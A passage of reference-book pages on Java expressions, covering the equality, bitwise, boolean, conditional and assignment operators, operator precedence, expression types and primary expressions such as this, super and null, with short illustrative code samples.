The operands of != may be of any type, but they must both be of the same kind of type or a compile-time error occurs. If one operand is of an arithmetic type, the other must also be of an arithmetic type. If one operand is of type boolean, the other must also be of type boolean. If one operand is a reference type, the other must also be a reference type. Note that neither operand can be an expression that invokes a void method.

If both operands are of arithmetic types, the operator performs an arithmetic inequality comparison. The operator may perform type conversions on the operands:

  • If either operand is of type double, then the other operand is converted to double.

  • Otherwise, if either operand is of type float, the other operand is converted to float.

  • Otherwise, if either operand is of type long, the other operand is converted to long.

  • Otherwise, both operands are converted to int.

The inequality comparison of any two arithmetic values produces true if and only if both operands are not the same value; otherwise the comparison produces false. The comparison of floating-point data is governed by the following additional rules:

  • If either operand is not-a-number (NaN), the comparison produces true. NaN is the only value that compares as not equal to itself.

  • Positive infinity is a distinct value that is equal to itself, and not equal to any other value.

  • Negative infinity is a distinct value that is equal to itself, and not equal to any other value.

  • Positive and negative zero are treated as equal, so -0.0!=0.0 produces false.

If both operands are boolean values, the operator performs a Boolean inequality comparison. The comparison produces false if both operands are true or both operands are false. Otherwise, the comparison produces true.

If both operands are reference types, the operator performs an object equality comparison. In order to perform this type of comparison, it must be possible to cast the value of one of the operands to the type of the other operand, or a compile-time error occurs. The comparison produces true if both of its operands refer to different objects and if both of its operands are not null; otherwise the comparison produces false.

Because the != operator determines if two objects are different objects, it is not appropriate for comparisons that need to determine if two objects have different contents. For example, if you need to know whether two String objects contain different sequences of characters, the != operator is inappropriate. You should use the equals() method instead:[5]

[5] This is similar to the difference in C between writing string1!=string2 and strcmp(string1, string2)!=0.

!string1.equals (string2) // Compares contents of strings
string1 != string2        // Compares actual string objects

References Arithmetic Types; Boolean Type; Reference Types

Previous | Home | Next
Relational Comparison Operators | Book Index | Bitwise/Logical Operators
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.10 Bitwise/Logical Operators

Java Language Reference

Previous Chapter 4
Expressions 		Next

4.10 Bitwise/Logical Operators

The bitwise/logical operators in Java are used for bitwise and logical AND (&), bitwise and logical exclusive OR (^), and bitwise and logical inclusive OR (|) operations. These operators have different precedence; the & operator has the highest precedence of the group and the | operator has the lowest. All of the operators are evaluated from left to right.

The unary operator ~ provides a bitwise negation operation.

References Bitwise Negation Operator ~; Order of Operations

Bitwise/Logical AND Operator &

The bitwise/logical AND operator & produces a pure value that is the AND of its operands. The & operator may appear in a bitwise or logical AND expression:

[Graphic: Figure from the text]

The bitwise/logical AND operator is evaluated from left to right. The operator never throws an exception.

Here is a code example that shows the use of the bitwise AND operator:

boolean isOdd(int x) {
    return (x & 1) == 1;
}

The operands of the bitwise/logical AND operator must both be of either an integer type or the type boolean, or a compile-time error occurs.

If both operands are of integer types, the operator performs a bitwise AND operation. The operator may perform type conversions on the operands:

  • If either operand is of type long, the other operand is converted to long and the operation produces a long value.

  • Otherwise, both operands are converted to int and the operation produces an int value.

The bitwise AND operator produces a pure value that is the bitwise AND of its operands. If the corresponding bits in both of the converted operands are 1s, the corresponding bit in the result is a 1; otherwise the corresponding bit in the result is a 0.

If both operands are of type boolean, the operator performs a logical AND operation. The logical AND operation produces a pure value of type boolean. If both operands are true, the operation produces true; otherwise the operation produces false. This operator differs from the conditional AND operator (&&) because it always evaluates both of its operands, even if its left operand evaluates to false.

References
Boolean AND Operator &&;
Boolean Type;
Equality Comparison Operators;
Integer types;
Order of Operations

Bitwise/Logical Exclusive OR Operator ^

The bitwise/logical exclusive OR operator ^ produces a pure value that is the exclusive OR of its operands. The ^ operator may appear in a bitwise or logical exclusive OR expression:

[Graphic: Figure from the text]

The bitwise/logical exclusive OR operator is evaluated from left to right. The operator never throws an exception.

The operands of the bitwise/logical exclusive OR operator must both be of either an integer type or the type boolean, or a compile-time error occurs.

If both operands are of integer types, the operator performs a bitwise exclusive OR operation. The operator may perform type conversions on the operands:

  • If either operand is of type long, the other operand is converted to long and the operation produces a long value.

  • Otherwise, both operands are converted to int and the operation produces an int value.

The bitwise exclusive OR operator produces a pure value that is the bitwise exclusive OR of its operands. If the corresponding bits in the converted operands are both 0 or both 1, the corresponding bit in the result is a 0; otherwise the corresponding bit in the result is a 1.

If both operands are of type boolean, the operator performs a logical exclusive OR operation. The logical exclusive OR operation produces a pure value of type boolean. If either, but not both, operands are true, the operation produces true; otherwise the operation produces false.

References
Bitwise/Logical AND Operator &;
Boolean Type;
Integer types;
Order of Operations

Bitwise/Logical Inclusive OR Operator |

The bitwise/logical inclusive OR operator | produces a pure value that is the inclusive OR of its operands. The | operator may appear in a bitwise or logical inclusive OR expression:

[Graphic: Figure from the text]

The bitwise/logical inclusive OR operator is evaluated from left to right. The operator never throws an exception.

Here is a code example that shows the use of the bitwise inclusive OR operator:

setFont("Helvetica", Font.BOLD | Font.ITALIC, 18);

The operands of the bitwise/logical inclusive OR operator must both be of either an integer type or the type boolean, or a compile-time error occurs.

If both operands are of integer types, the operator performs a bitwise inclusive OR operation. The operator may perform type conversions on the operands:

  • If either operand is of type long, the other operand is converted to long and the operation produces a long value.

  • Otherwise, both operands are converted to int and the operation produces an int value.

The bitwise inclusive OR operator produces a pure value that is the bitwise inclusive OR of its operands. If the corresponding bits in either or both of the converted operands are 1s, the corresponding bit in the result is a 1; otherwise the corresponding bit in the result is a 0.

If both operands are of type boolean, the operator performs a logical inclusive OR operation. The logical inclusive OR operation produces a pure value of type boolean. If either or both operands are true, the operation produces true; otherwise the operation produces false. This operator differs from the conditional OR operator (||) because it always evaluates both of its operands, even if its left operand evaluates to true.

References
Boolean OR Operator ||;
Boolean Type;
Bitwise/Logical Exclusive OR Operator ^;
Integer types;
Order of Operations

Previous | Home | Next
Equality Comparison Operators | Book Index | Boolean Operators
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.11 Boolean Operators

Java Language Reference

Previous Chapter 4
Expressions 		Next

4.11 Boolean Operators

The Boolean operators in Java are used for conditional AND (&&) and conditional OR (||) operations. These operators have different precedence; the && operator has the higher precedence and || the lower precedence. Both of the operators are evaluated from left to right.

The unary operator ! provides a Boolean negation operation.

References Boolean Negation Operator !; Order of Operations

Boolean AND Operator &&

The conditional AND operator && produces a pure boolean value that is the conditional AND of its operands. The && operator may appear in a conditional AND expression:

[Graphic: Figure from the text]

The conditional AND operator is evaluated from left to right. The operator never throws an exception.

Here is a code example that shows the use of the conditional AND operator:

public final short readShort() throws IOException {
    int ch1, ch2;
    if ((ch1 = in.read()) >= 0 && (ch2 = in.read()) >= 0)
        return (short)((ch1 << 8) + ch2);
    throw new EOFException();
}

The operands of the conditional AND operator must both be of type boolean, or a compile-time error occurs.

The operands of the conditional AND operator are evaluated in a different way from the operands for most other operators in Java. Most other operators evaluate all of their operands before performing their operation; the conditional AND operator does not necessarily evaluate both of its operands.

As with all binary operators, the left operand of && is evaluated first. If the left operand evaluates to true, the conditional AND operator evaluates its right operand and produces a pure value that has the same value as its right operand. However, if the left operand evaluates to false, the right operand is not evaluated and the operator produces the pure value false.

In the above example, the expression (ch2 = in.read()) is evaluated only if the expression (ch1 = in.read()) produces a value that is greater than or equal to zero.

References
Bitwise/Logical AND Operator &;
Boolean Type;
Bitwise/Logical Inclusive OR Operator |;
Order of Operations

Boolean OR Operator ||

The conditional OR operator || produces a pure boolean value that is the conditional OR of its operands. The || operator may appear in a conditional OR expression:

[Graphic: Figure from the text]

The conditional OR operator is evaluated from left to right. The operator never throws an exception.

Here is a code example that shows the use of the conditional OR operator:

public final short readShort() throws IOException {
    int ch1, ch2;
    if ((ch1 = in.read()) < 0 || (ch2 = in.read()) < 0)
        throw new EOFException();
    return (short)((ch1 << 8) + ch2);
}

The operands of the conditional OR operator must both be of type boolean, or a compile-time error occurs.

The operands of the conditional OR operator are evaluated in a different way from the operands for most other operators in Java. Most other operators evaluate all of their operands before performing their operation; the conditional OR operator does not necessarily evaluate both of its operands.

As with all binary operators, the left operand of || is evaluated first. If the left operand evaluates to false, the conditional OR operator evaluates its right operand and produces a pure value that has the same value as its right operand. However, if the left operand evaluates to true, the right operand is not evaluated and the operator produces the pure value true.

References
Bitwise/Logical Inclusive OR Operator |;
Boolean Type;
Boolean AND Operator &&;
Order of Operations

Previous | Home | Next
Bitwise/Logical Operators | Book Index | Conditional Operator
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.12 Conditional Operator

Java Language Reference

Previous Chapter 4
Expressions 		Next

4.12 Conditional Operator

The conditional operator (? :) is a ternary operator. The operator selects one of two expressions for evaluation, based on the value of its first operand. In this way, the conditional operator is similar to an if statement. A conditional operator may appear in a conditional expression:

[Graphic: Figure from the text]

The conditional operator produces a pure value. Conditional expressions group from right to left. Consider the following expression:

g?f:e?d:c?b:a

It is equivalent to

g?f:(e?d:(c?b:a))

The first operand of the conditional operator must be of type boolean, or a compile-time error occurs. If the first operand evaluates to true, the operator evaluates the second operand (i.e., the one following the ?) and produces the pure value of that expression. Otherwise, if the first operand evaluates to false, the operator evaluates the third operand (i.e., the one following the :) and produces the pure value of that expression. Note that the conditional operator evaluates either its second operand or its third operand, but not both.

The second and third operands of the conditional operator may be of any type, but they must both be of the same kind of type or a compile-time error occurs. If one operand is of an arithmetic type, the other must also be of an arithmetic type. If one operand is of type boolean, the other must also be of type boolean. If one operand is a reference type, the other must also be a reference type. Note that neither the second nor the third operand can be an expression that invokes a void method.

The types of the second and third operands determine the type of pure value that the conditional operator produces. If the second and third operands are of different types, the operator may perform a type conversion on the operand that it evaluates. The operator does this to ensure that it always produces the same type of result for a given expression, regardless of the value of its first operand.

If the second and third operands are both of arithmetic types, the conditional operator determines the type of value it produces as follows:[6]

  • If both operands are of the same type, the conditional operator produces a pure value of that type.

    [6] Some of these rules are different from the way it is done in C/C++. In those languages, integer data of types smaller than int are always converted to int when they appear in any expression.

  • If one operand is of type short and the other operand is of type byte, the conditional operator produces a short value.

  • If one operand is of type short, char, or byte and the other operand is a constant expression that can be represented as a value of that type, the conditional operator produces a pure value of that type.

  • Otherwise, if either operand is of type double, the operator produces a double value.

  • Otherwise, if either operand is of type float, the operator produces a float value.

  • Otherwise, if either operand is of type long, the operator produces a long value.

  • Otherwise, if either operand is of type int, the operator produces an int value.

If the second and third operands are both of type boolean, the conditional operator produces a pure boolean value.

If the second and third operands are both reference types, the conditional operator determines the type of value it produces as follows:

  • If both operands are null, the conditional operator produces the pure value null.

  • Otherwise, if exactly one of the operands is null, the conditional operator produces a value of the type of the other operand.

  • Otherwise, it must be possible to cast the value of one of the operands to the type of the other operand, or a compile-time error occurs. The conditional operator produces a value of the type that would be the target of the cast.

References
Arithmetic Types;
Boolean Type;
Boolean OR Operator ||;
Expression 4;
Order of Operations;
Reference Types

Previous | Home | Next
Boolean Operators | Book Index | Assignment Operators
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.13 Assignment Operators

Java Language Reference

Previous Chapter 4
Expressions 		Next

4.13 Assignment Operators

Assignment operators set the values of variables and array elements. An assignment operator may appear in an assignment expression:

[Graphic: Figure from the text]

The actual assignment operator in an assignment expression can be the simple assignment operator = or one of the compound assignment operators shown below. All of the assignment operators are equal in precedence. Assignment operators are evaluated from right to left, so a=b=c is equivalent to a=(b=c).

The left operand of an assignment operator must be an expression that produces a variable or an array element. The left operand of an assignment operator cannot be an expression that evaluates to a pure value, or a compile-time error occurs. So, for example, the left operand cannot be a final variable, since a final variable evaluates to a pure value, not a variable.

The assignment operator itself produces a pure value, not a variable or an array element. The pure value produced by an assignment operator is the value of the variable or array element after it has been set by the assignment operation. The type of this pure value is the type of the variable or array element.

The simple assignment operator = just sets the value of a variable or array element. It does not imply any other computation. The right operand of the simple assignment operator can be of any type, as long as that type is assignment-compatible with the type of the left operand, as described in the next section. If the right operand is not assignment-compatible, a compile-time error occurs.

The compound assignment operators are:

+= | -= | *=
/= | |= | &=
^= | %= | <<=
>>= | >>>= |

Both of the operands of a compound assignment operator must be of primitive types, or a compile-time error occurs. The one exception is if the left operand of the += operator is of type String; in this case the right operand can be of any type.

A compound assignment operator combines a binary operator with the simple assignment operator =. Thus, to be assignment-compatible, the right operand of a compound assignment operator must be of a type that complies with the rules for the indicated binary operation. Otherwise, a compile-time error occurs. An assignment expression of the form:

e1 op = e2

is approximately equivalent to:

e1 = (type) ((e1) op (e2))

where type is the type of the expression e1. The only difference is that e1 is only evaluated once in the expression that uses the compound assignment operator.

For example, consider the following code fragment:

j = 0;
a[0] = 3;
a[1]=6;
a[j++] += 2;

After this code is executed, j equals 1 and a[0] is 5. Contrast this with the following code:

j = 0;
a[0] = 3;
a[1]=6;
a[j++] = a[j++] + 2;

After this code is executed, j equals 2 and a[0] is 8 because j++ is evaluated twice.

References
Array Types;
**UNKNOWN XREF**;
Conditional Operator;
Interface Variables;
Local Variables;
Order of Operations;
Primitive Types;
Reference Types;
String;
Unary Operators;
Variables

Assignment Compatibility

Saying that one type of value is assignment-compatible with another type of value means that a value of the first type can be assigned to a variable of the second type. Here are the rules for assignment compatibility in Java:

  • Every type is assignment-compatible with itself.

  • The boolean type is not assignment-compatible with any other type.

  • A value of any integer type can be assigned to a variable of any other integer type if the variable is of a type that allows it to contain the value without any loss of information.

  • A value of any integer type can be assigned to a variable of any floating-point type, but a value of any floating-point type cannot be assigned to a variable of any integer type.

  • A float value can be assigned to a double variable, but a double value cannot be assigned to a float variable.

  • With a type cast, a value of any arithmetic type can be assigned to a variable of any other arithmetic type.

  • Any reference can be assigned to a variable that is declared of type Object.

  • A reference to an object can be assigned to a class-type reference variable if the class of the variable is the same class or a superclass of the class of the object.

  • A reference to an object can be assigned to an interface-type reference variable if the class of the object implements the interface.

  • A reference to an array can be assigned to an array variable if either of the following conditions is true:

    • Both array types contain elements of the same type.

    • Both array types contain object references and the type of reference contained in the elements of the array reference can be assigned to the type of reference contained in the elements of the variable.

Here's an example that illustrates the rules about assignment compatibility of arrays:

class Triangle extends Shape {...}
...
int[] i = new int[8];
int j[];
long l[];
short s[];
Triangle[] t;
Shape[] sh;
j = i;    // Okay
s = i;    // Error
l = i;    // Error
sh = t;   // Okay
t = sh;   // Error

Assigning i to j is fine because both variables are declared as references to arrays that contain int values. On the other hand, assigning i to s is an error because the variables are declared as references to arrays that contain different kinds of elements and these elements are not object references. Assigning i to l is an error for the same reason. Assigning t to sh is fine because the variables are declared as references to arrays that contain object references, and sh[0]=t[0] is legal. However, assigning sh to t is an error because t[0]=sh[0] is not legal.

It is not always possible for the compiler to determine if an assignment to an array element is legal; in these cases the assignment compatibility is checked at runtime. This situation can occur when a variable contains a reference to an array whose type of elements is specified by a class or interface name. In this case, it may not be possible to determine the actual type of the array elements until runtime. Consider the following example:

void foo (InputStream a[]) {
    a[0] = new FileInputStream("/dev/null");
}

Figure 4.1 shows the InputStream class and some of its subclasses in the java.io package.

Figure 4.1: InputStream and some of its classes

[Graphic: Figure 4-1]

Any array with elements that contain references to objects of class InputStream or any of its subclasses can be passed to the method foo() shown in the above example. For example:

FileInputStream f[] = new FileInputStream[3];
foo(f);

Since FileInputStream is a subclass of InputStream, the call to foo() does not cause any problems at runtime.

However, the following call to foo() is problematic:

DataInputStream f[] = new DataInputStream[3];
foo(f);

This call causes an ArrayStoreException to be thrown at runtime. Although DataInputStream is a subclass of InputStream, it is not a superclass of FileInputStream, so the array element assignment in foo() is not assignment-compatible.

References
Arithmetic Types;
Array Types;
Boolean Type;
Class Types;
Interface Types

Previous | Home | Next
Conditional Operator | Book Index | Order of Operations
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.14 Order of Operations

Java Language Reference

Previous Chapter 4
Expressions 		Next

4.14 Order of Operations

In an expression that contains multiple operators, Java uses a number of rules to decide the order in which the operators are evaluated. The first and most important rule is called operator precedence. Operators in an expression that have higher precedence are executed before operators with lower precedence. For example, multiplication has a higher precedence than addition. In the expression 2+3*4, the multiplication is done before the addition, producing a result of 14.

If consecutive operators in an expression have the same precedence, a rule called associativity is used to decide the order in which those operators are evaluated. An operator can be left-associative, right-associative, or non-associative:

  • Left-associative operators of the same precedence are evaluated in order from left to right. For example, addition and subtraction have the same precedence and they are left-associative. In the expression 10-4+2, the subtraction is done first because it is to the left of the addition, producing a value of 8.

  • Right-associative operators of the same precedence are evaluated in order from right to left. For example, assignment is right-associative. Consider the following code fragment:

    int a = 3;
int b = 4;
a = b = 5;

    After the code has been evaluated, both a and b contain 5 because the assignments are evaluated from right to left.

  • A non-associative operator cannot be combined with other operators of the same precedence.

Table 4-2 shows the precedence and associativity of all the operators in Java.[7]

[7] Although the precedence of operators in Java is similar to that in C++, there are some differences. For example, new has a higher precedence in Java than it does in C++. Another difference is that the ++ and - - operators are effectively non-associative in Java.

Table 4.2: Precedence and Associativity of Operators in Java
Precedence | Operator | Associativity
1 | (), [] | non-associative
2 | new | non-associative
3 | . | left-associative
4 | ++, - - | non-associative
5 | - (unary), + (unary), !, ~, ++, - -, (type) | right-associative
6 | *, /, % | left-associative
7 | +, - | left-associative
8 | <<, >>, >>> | left-associative
9 | <, >, <=, >=, instanceof | non-associative
10 | ==, != | left-associative
11 | & | left-associative
12 | ^ | left-associative
13 | | | left-associative
14 | && | left-associative
15 | || | left-associative
16 | ?: | right-associative
17 | =, *=, /=, %=, -=, <<=, >>=, >>>=, &=, ^=, |= | right-associative

As in C/C++, the order in which operators are evaluated can be modified by the use of parentheses.

The rest of the rules that concern order of operations have to do with the evaluation of operands or arguments in a single expression.

  • The left operand of a binary operator is evaluated before its right operand.

  • The operands of an operator are evaluated before the operator is evaluated. Consider the following expression:

    ((x=4) * x)

    First, the left operand of * is evaluated; it produces the value 4. Then the right operand of * is evaluated. Since evaluation of the left operand set x to 4, evaluation of the right operand produces 4. Finally, the * operator itself is evaluated, producing the value 16.

  • In an index expression, the expression to the left of the square brackets is evaluated before the expression inside the square brackets.

  • In an expression that calls a method through an object reference, the object reference is evaluated before the argument expressions.

  • In any expression that calls a method or constructor, the expressions supplied as the actual arguments are evaluated from left to right.

  • In an array allocation expression, the expressions that appear in square brackets and provide the dimensions of the array are evaluated from left to right.

The intent of all of these rules is to guarantee that every implementation of Java evaluates any given expression in the same way.[8] In order to produce optimized code, a Java compiler is allowed to deviate from the rules governing the order in which operations are performed, provided that the result is the same as if it had followed the rules.

[8] This is different than C/C++, which leaves a number of details of expression evaluation up to an implementation, such as the order in which the actual parameters of a function call are evaluated.

References
Array Allocation Expressions;
Index Expressions;
Method Call Expression;
Object Allocation Expressions

Previous | Home | Next
Assignment Operators | Book Index | Data Type of an Expression
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.15 Data Type of an Expression

Java Language Reference

Previous Chapter 4
Expressions 		Next

4.15 Data Type of an Expression

If an expression produces a value, that value is of some particular data type. In some cases, it is possible to determine the exact type that is produced by an expression, based on the types of the literals, variables, and methods that an expression references. For those expressions that produce object references, it is typically only possible to determine the type of the referenced object when the expression is evaluated at runtime.

The types of many expressions are ambiguous because of the way Java data types are defined. There is no ambiguity for variables, array elements, and method return values of primitive types, however. These expressions always produce the exact types specified in their declarations.

There can be ambiguity when a variable, array element, or method return value is declared to have a class or interface reference type. The ambiguity exists because a class reference may actually refer to an object of the intended class or a subclass of that class. For example, consider a variable that is declared to contain a reference to a Number object:

double square(Number n){
    return n.doubleValue()*n.doubleValue();
}

When the Java compiler sees the variable n used in an expression, it knows that the object that is referenced could be an Integer, Long, Float, or Double object because the java.lang package defines those subclasses of Number. It is also possible, however, that the variable refers to some other subclass of Number defined elsewhere. All that the compiler can be certain of is that at runtime n will refer to an object of a subclass of Number. The variable n cannot refer to a Number object because Number is an abstract class, so there are no Number objects.

The one exception to the ambiguity of class-type object references occurs when the class used to declare a variable, array element, or method return type is a final class. If a class is declared to be final, it cannot be subclassed, so there is no ambiguity.

Ambiguity also exists if the type of a reference is an interface type, since the reference can refer to an object of any class that implements the interface. The actual class is not usually known until runtime.

The fact that the type of value produced by an object reference expression cannot be determined until it is evaluated at runtime can affect the evaluation of other expressions in the following ways:

  • If a method is called through an object reference expression, the actual method to be called may depend on the type of the object. The selection of the appropriate method in the object is made at compile-time. For example, f.read() causes the selection of a method named read() that takes no arguments.

    However, if the compiler cannot determine the actual class of the object, the actual method to be called is determined at runtime, when the class is known. The compiler generates code to handle a runtime selection process called dynamic method lookup. The process begins by searching the actual class for an appropriate method. If there is no such method, the superclass of the class is searched, followed by its superclass and on up the inheritance hierarchy, until an appropriate method is found. This process ensures that the appropriate method gets called, even if the actual class of the object is a subclass of the type used for the object reference.

    Even if the compiler cannot determine the actual class of the object, there is one case in which it does not need to generate code to handle dynamic method lookup. When the compiler selects the appropriate method in the object, if it finds that the method is declared final, it can be sure that it is the method to be called.

  • The success of a cast operation may need to be determined at runtime. When a class-type object reference is cast to another class, the operation can only succeed if the actual class of the object is the same class or a subclass of the class being cast to. If the compiler cannot determine the actual class of the object, it generates runtime code that can verify that the cast is permitted. If the actual class of the object at runtime makes the cast illegal, a ClassCastException is thrown.

  • The value produced by the instanceof operator may need to be determined at runtime. If the compiler cannot determine the type of the left operand in an instanceof expression, it generates runtime code to decide whether the expression produces true or false.

  • The legality of an assignment to an array element may need to be determined at runtime. If a variable contains a reference to an array and the type of elements in the array is specified with a class or an interface name, it may not be possible to determine the actual type of the array elements until runtime. Consider the following example:

    void foo (InputStream a[]) {
    a[0] = new FileInputStream("/dev/null");
}

    Any array with elements that contain references to objects of class InputStream or any of its subclasses can be passed to the method foo() shown above.

    FileInputStream f[] = new FileInputStream[3];
foo(f);

    Since FileInputStream is a subclass of InputStream, the call to foo() does not cause any type-related problems at runtime. However, the following call to foo() does cause problems:

    DataInputStream f[] = new DataInputStream[3];
foo(f);

    This call causes an ArrayStoreException to be thrown at runtime. Although DataInputStream is a subclass of InputStream, it is not a superclass of FileInputStream, so the assignment is not legal.

  • The type of object thrown by a throw statement may need to be determined at runtime. If the object thrown by a throw statement is obtained through a reference that comes from a variable, an array element, or a method return value, the compiler generates runtime code that determines the type of the object that is thrown. In addition, this runtime code determines whether or not the object is caught.

References
Array Types;
Assignment Operators;
Casts;
Class Types;
Interface Types;
Method Call Expression;
The instanceof Operator;
The throw Statement

Previous | Home | Next
Order of Operations | Book Index | Constant Expressions
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.16 Constant Expressions

Java Language Reference

Previous Chapter 4
Expressions 		Next

4.16 Constant Expressions

A constant expression is an expression that always produces the same result. More precisely, a constant expression is an expression that produces a pure value of a primitive data type and is only composed of the following:

  • Literals of primitive data types

  • String literals

  • Variables that are declared final and are initialized by constant expressions

  • Type casts to primitive data types or the type String

  • The unary operators + -, ~, and !

  • The binary operators *, /, %, +, -, <<, >>, >>>, <, <=, >=, >, ==, !=, &, ^, |, &&, and ||

  • The ternary operator ?:

Note that expressions that use ++, - -, and instanceof are not constant expressions. Also note that expressions that produce or contain references to objects that are not String objects are never constant expressions.

The compiler generally evaluates a constant expression and substitutes the result for the expression during the compilation process.

References
Additive Operators;
Bitwise/Logical Operators;
Boolean Operators;
Casts;
Conditional Operator;
Equality Comparison Operators;
Interface Variables;
Local Variables;
Literals;
Multiplicative Operators;
Relational Comparison Operators;
Shift Operators;
Unary Operators;
Variables

Previous | Home | Next
Data Type of an Expression | Book Index | Declarations
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] Expressions

Java Language Reference

Previous Chapter 4 Next

4. Expressions

Contents:

Select a new section and then

Expressions in Java are used to fetch, compute, and store values. To fetch a value, you use a type of expression called a primary expression. To compute and store values, you use the various operators described in this chapter. In Java, expressions are most often used in methods and constructors; they can also appear in field variable initializers and static initializers.

Most expressions, when they are evaluated, produce values that can be used by other expressions. The one exception is an expression that calls a method declared with the void return type. An expression that invokes a void method cannot be embedded in another expression. The evaluation of an expression can also produce side effects, such as variable assignments and increment and decrement operations.

The value produced by an expression can be either a pure value or a variable or array element. The distinction is that a pure value cannot be used to store a value, while a variable or array element can.[1] An expression that produces a variable or an array element can be used anywhere that an expression that produces a pure value can be used.

[1] Note that Java's distinction between pure values and variable and array elements is similar to the distinction in C and C++ between rvalues and lvalues.

This chapter refers to values as being either pure values or variables. Saying that a value is a pure value means that it is a value such as 24 that contains information, but cannot be used as the target of an assignment expression. Saying that a value is a variable means that it is something like var or ar[i] that can be used as the target of an assignment. The generic term "value" is used to mean either a variable or a pure value.

The formal definition of an expression is:

[Graphic: Figure from the text]

The above diagram may seem deceptively simple; why is such a definition even necessary? Expressions in Java are defined with a number of mutually recursive railroad diagrams. You can think of the Expression definition as being both the lowest-level definition and the highest-level definition of these mutually recursive diagrams. In other words, a=b[i]+c[i] is an expression, as are b[i], c[i], a, b, c, and i. This first diagram defines an expression to be an AssignmentExpression, which is the final definition used to describe Java expressions.

References Assignment Operators

4.1 Primary Expressions

A primary expression is the most elementary type of expression. Primary expressions are constructs that fetch or create values, but do not directly perform computations on them:

[Graphic: Figure from the text]

Terms are those primary expressions that produce values, by doing such things as accessing fields in classes, invoking methods, and accessing array elements:

[Graphic: Figure from the text]

References
Allocation Expressions;
Expression 4;
FieldExpression 4.1.6;
Identifiers;
Index Expressions;
Literals;
Method Call Expression;
Class Literals

this

The keyword this can be used only in the body of a constructor or an instance method (i.e., a method that is not declared static), or in the initializer for an instance variable. A static method is not associated with an object, so this makes no sense in such a method and is treated as an undefined variable. If this is used in an inappropriate place, a compile-time error occurs.

The value produced by this is a reference to the object associated with the expression that is being evaluated. The type of the primary expression this is a reference to the class in which it appears.

One common use for this is to allow access to a field variable when there is a local variable with the same name. For example:

int foo;
void setFoo(int foo) {
    this.foo = foo;
}

Another common usage is to implement a callback mechanism. Passing this to another object allows that object to call methods in the object associated with the calling code. For example, to allow an object inside of an applet to be able to access parameters passed to the applet in the HTML <applet> tag, you can use code like the following:

public class MyApplet extends Applet {
    ...
    Foo foo;
    public void init() {
        foo = new Foo(this);
    ...
    }
}
class Foo {
    Applet app;
    ...
    Foo(Applet app) {
        this.app = app;
    }
    ...
    void doIt() {
        String dir = app.getParameter("direction");
        ...
    }
    ...
}

Another use for the keyword this is in a special kind of FieldExpression that refers to an enclosing instance of this object. A reference to an enclosing instance is written as the class name of the enclosing instance followed by a dot and the keyword this (as described in 5.3.7.2 Member classes). Consider the following code:

public class ImageButton extends Canvas {
    ...
    private class MyImage extends Image {
        Image fileImage;
        MyImage(String fileName) throws IOException {
            URL url = new URL(fileName);
            ImageProducer src = (ImageProducer)url.getContent();
            Image fileImage = createImage(src);
            prepareImage(this, ImageButton.this);
        }
    ...

The call to prepareImage() takes two arguments. The first argument is a reference to this instance of the MyImage class. The second argument is a reference to this object's enclosing instance, which is an instance of the ImageButton class.

References
Constructors;
Constructor implementation;
FieldExpression 4.1.6;
Inner Classes;
Methods

super

The keyword super can be used only in the body of a constructor or an instance method (i.e., a method that is not declared static), or in the initializer for an instance variable. In addition, super cannot appear in the class Object because Object has no superclass. If super is used in an inappropriate place, a compile-time error occurs.

In most cases, the primary expression super has a value that is equivalent to casting the value of the primary expression this to the superclass of the class in which it appears. In other words, super causes the object to be treated as an instance of its superclass. The type of the primary expression super is a reference to the superclass of the class in which it appears.

There are two situations in which super produces a result that is different than what would be produced by casting this to its superclass:

  • When super is used to explicitly call a constructor in the superclass from a constructor in the class, the field variables for the class are initialized when the superclass's constructor returns.

  • If a class contains a method that overrides a method declared in its superclass, calling the method by casting this to the superclass results in a call to the overriding method. However, calling the method with the special reference provided by super calls the overridden method in the superclass.

The main purpose of super is to allow the behavior of methods and constructors to be extended, rather than having to be totally replaced. Consider the following example:

class A {
    public int foo(int x) {
        return x*x;
    }
    public int bar(int x) {
        return x*8;
    }
}
class B extends A{
    public int foo(int x) {
        return super.foo(x)+x;
    }
    public int bar(int x){
        return x*5;
    }
}

The foo() method in class B extends the behavior of the foo() method in class A by calling that method and performing further computations on its result. On the other hand, the bar() method in class B totally replaces the behavior of the bar() method in class A.

References Constructors; Constructor implementation; Methods

null

The primary expression null produces a special object reference value that does not refer to any object, but is assignment-compatible with all object reference types.

An operation on an object reference that does not attempt to access the referenced object works the same way for null as it does for other object reference values. For example:

foo == null

However, any operation that attempts to access an object through a null reference throws a NullPointerException. The one exception to this rule is the string concatenation operator (+), which converts a null operand to the string literal "null".

References Runtime exceptions; String Concatenation Operator +

Literal Expressions

A primary expression that consists of a literal produces a pure value. The data type of this pure value is the data type of the literal.

References Literals

Parenthetical Expressions

A primary expression that consists of a parenthesized expression produces the same pure value as the expression in parentheses. The data type of this pure value is also the same as the data type of the expression in parentheses. A parenthetical expression can only produce a pure value. Thus, the following code produces an error:

(x) = 5;          // Illegal

References Expression 4

Field Expressions

A field expression is a primary expression that fetches such things as local variables, formal parameters, and field variables. A field expression can evaluate to a pure value or a variable. The data type of a field expression is the data type of the pure value, variable, or array element produced by the following expression.

[Graphic: Figure from the text]

[Graphic: Figure from the text]

Essentially, a field expression can be a simple identifier, a primary expression followed by an identifier, or a class or interface name followed by an identifier. Here's an example of a field expression that consists of a simple Identifier :

myVar

Before the Java compiler can decide what to do with a lone identifier such as this, it must first match it with a declaration. The compiler first looks in the method where the identifier appears for a local variable or formal parameter with the same name as the identifier. If the compiler finds a matching local variable or formal parameter, the field expression produces the matching variable or parameter.

If the identifier does not match a local variable or a formal parameter, it is expected to match the name of a field variable in the class in which it occurs.

If the matching variable is declared final, the field expression produces the pure value specified by the variable's initializer. Otherwise, the field expression produces the matching field variable. If the method that the identifier appears in is declared static, the matching variable must also be declared static or the compiler declares an error.

A lone identifier that matches the name of a field variable is equivalent to:

this.Identifier

This form of a field expression can be used to access a field variable that is shadowed by a local variable or a formal parameter. For example:

class Shadow {
    int value;
